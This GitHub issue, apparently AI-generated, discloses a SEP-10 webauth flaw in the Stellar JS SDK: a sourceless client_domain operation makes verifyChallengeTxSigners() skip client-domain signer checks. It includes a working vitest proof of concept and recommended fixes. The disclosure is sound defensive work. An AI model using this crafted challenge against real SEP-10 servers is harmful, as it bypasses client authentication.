Skip to content

[AI Security] Medium: Sourceless client_domain ManageData op silently disables client domain signer verification in verifyChallengeTxSigners() #1367

@sagpatil

Description

@sagpatil

Security Finding: Sourceless client_domain Operation Silently Disables Client Domain Signer Verification

Subsystem: webauth
Severity: Medium
Model Attribution: claude-sonnet-4.6, default


Impact

A SEP-10 challenge transaction that contains a client_domain ManageData operation without an explicit source account causes verifyChallengeTxSigners() to silently skip all client domain signer enforcement. The function returns successfully (yielding the client account signer) even though no signer for the client_domain operation ever signed the challenge. This constitutes a partial auth-bypass of the SEP-10 client-domain verification step.


Root Cause

In Stellar XDR, an operation's source account is optional. When absent, the JS SDK's Transaction parser sets op.source = undefined — it does not resolve the inherited transaction source. Two code locations combine to create the bypass:

readChallengeTx() — line 318 accepts the sourceless op because the source check is skipped for client_domain named ops:

if (op.source !== serverAccountID && op.name !== "client_domain") {
  throw new InvalidChallengeError("The transaction has operations that are unrecognized");
}

verifyChallengeTxSigners() — line 480 assigns clientSigningKey directly from op.source:

clientSigningKey = op.source;  // undefined when op has no explicit source

All subsequent guards on clientSigningKey are gated by truthiness:

  • Line 492: if (clientSigningKey) → false, key NOT added to allSigners
  • Line 538: if (clientSigningKey) → false, no removal attempted

Result: the client_domain operation is present in the parsed challenge (visible to the caller), but no signing key is required or checked for it.


Attack Vector

  1. A non-JS server (Go, Python, etc.) or manually crafted XDR builds a valid SEP-10 challenge that includes a client_domain ManageData operation without an explicit source account.
  2. The server signs the challenge (required for SEP-10 validity).
  3. The client signs with only its account key — no client domain signer.
  4. verifyChallengeTxSigners() is called on the JS SDK verifier side.
  5. The function returns [clientAccountPublicKey] instead of throwing InvalidChallengeError.

Note: JS-built challenges are unaffected because buildChallengeTx() always sets an explicit source for client_domain operations. Exploitation requires cross-SDK interoperability or manually crafted XDR.


PoC (TypeScript / vitest — verified passing)

import { describe, it, beforeEach, afterEach, expect, vi } from "vitest";
import randomBytes from "randombytes";
import { StellarSdk } from "../test-utils/stellar-sdk-import";

const { WebAuth } = StellarSdk;

describe("Security PoC - sourceless client_domain signer bypass", () => {
  beforeEach(() => { vi.useFakeTimers({ now: 0 }); });
  afterEach(() => { vi.useRealTimers(); });

  it("accepts a challenge with client_domain but no client-domain signer when the op source is omitted", () => {
    const serverKP = StellarSdk.Keypair.random();
    const clientKP = StellarSdk.Keypair.random();
    const serverAccount = new StellarSdk.Account(serverKP.publicKey(), "-1");

    const transaction = new StellarSdk.TransactionBuilder(serverAccount, {
      fee: "100",
      networkPassphrase: StellarSdk.Networks.TESTNET,
    })
      .addOperation(StellarSdk.Operation.manageData({
        source: clientKP.publicKey(),
        name: "testanchor.stellar.org auth",
        value: randomBytes(48).toString("base64"),
      }))
      .addOperation(StellarSdk.Operation.manageData({
        source: serverKP.publicKey(),
        name: "web_auth_domain",
        value: "testanchor.stellar.org",
      }))
      // client_domain op intentionally has no source — this triggers the bypass
      .addOperation(StellarSdk.Operation.manageData({
        name: "client_domain",
        value: "wallet.example.com",
      }))
      .setTimeout(30)
      .build();

    transaction.sign(serverKP);

    const serverSignedChallenge = transaction.toEnvelope().toXDR("base64").toString();
    const parsedChallenge = new StellarSdk.Transaction(serverSignedChallenge, StellarSdk.Networks.TESTNET);

    // Confirm op.source is undefined after XDR round-trip

    vi.advanceTimersByTime(200);
    parsedChallenge.sign(clientKP);
    const clientSignedChallenge = parsedChallenge.toEnvelope().toXDR("base64").toString();

    // BUG: returns successfully instead of throwing InvalidChallengeError
    expect(
      WebAuth.verifyChallengeTxSigners(
        clientSignedChallenge,
        serverKP.publicKey(),
        StellarSdk.Networks.TESTNET,
        [clientKP.publicKey()],
        "testanchor.stellar.org",
        "testanchor.stellar.org",
      ),
    ).toEqual([clientKP.publicKey()]);
  });
});

Runtime verification:

  • npx vitest run test/unit/security_poc.test.ts --config config/vitest.config.ts1 test passed (bug confirmed)
  • Baseline: npx vitest run test/unit/utils.test.ts --config config/vitest.config.ts -t "throws an error if a challenge with a client_domain operation doesn't have a matching signature" → passed (explicit-source variant correctly throws)

Affected Code

File Location Description
src/webauth/challenge_transaction.ts line 318 readChallengeTx() accepts sourceless client_domain op without validating source
src/webauth/challenge_transaction.ts line 480 verifyChallengeTxSigners() assigns clientSigningKey = op.source (may be undefined)
src/webauth/challenge_transaction.ts lines 492, 517, 538 All guards gated on if (clientSigningKey), so undefined bypasses all checks

Recommendation

In readChallengeTx(): Require that client_domain ManageData operations have an explicit source account. Throw InvalidChallengeError if op.source is undefined or null for a client_domain op.

In verifyChallengeTxSigners(): Add a guard after extracting clientSigningKey: if a client_domain op is found but clientSigningKey is falsy, throw InvalidChallengeError immediately rather than silently skipping enforcement.


Related Issues

Metadata

Metadata

Assignees

No one assigned

    Labels

    ai-generatedGenerated by AI security analysis pipelinesecuritySecurity vulnerability or concern

    Type

    No type

    Projects

    Status

    Backlog (Not Ready)

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions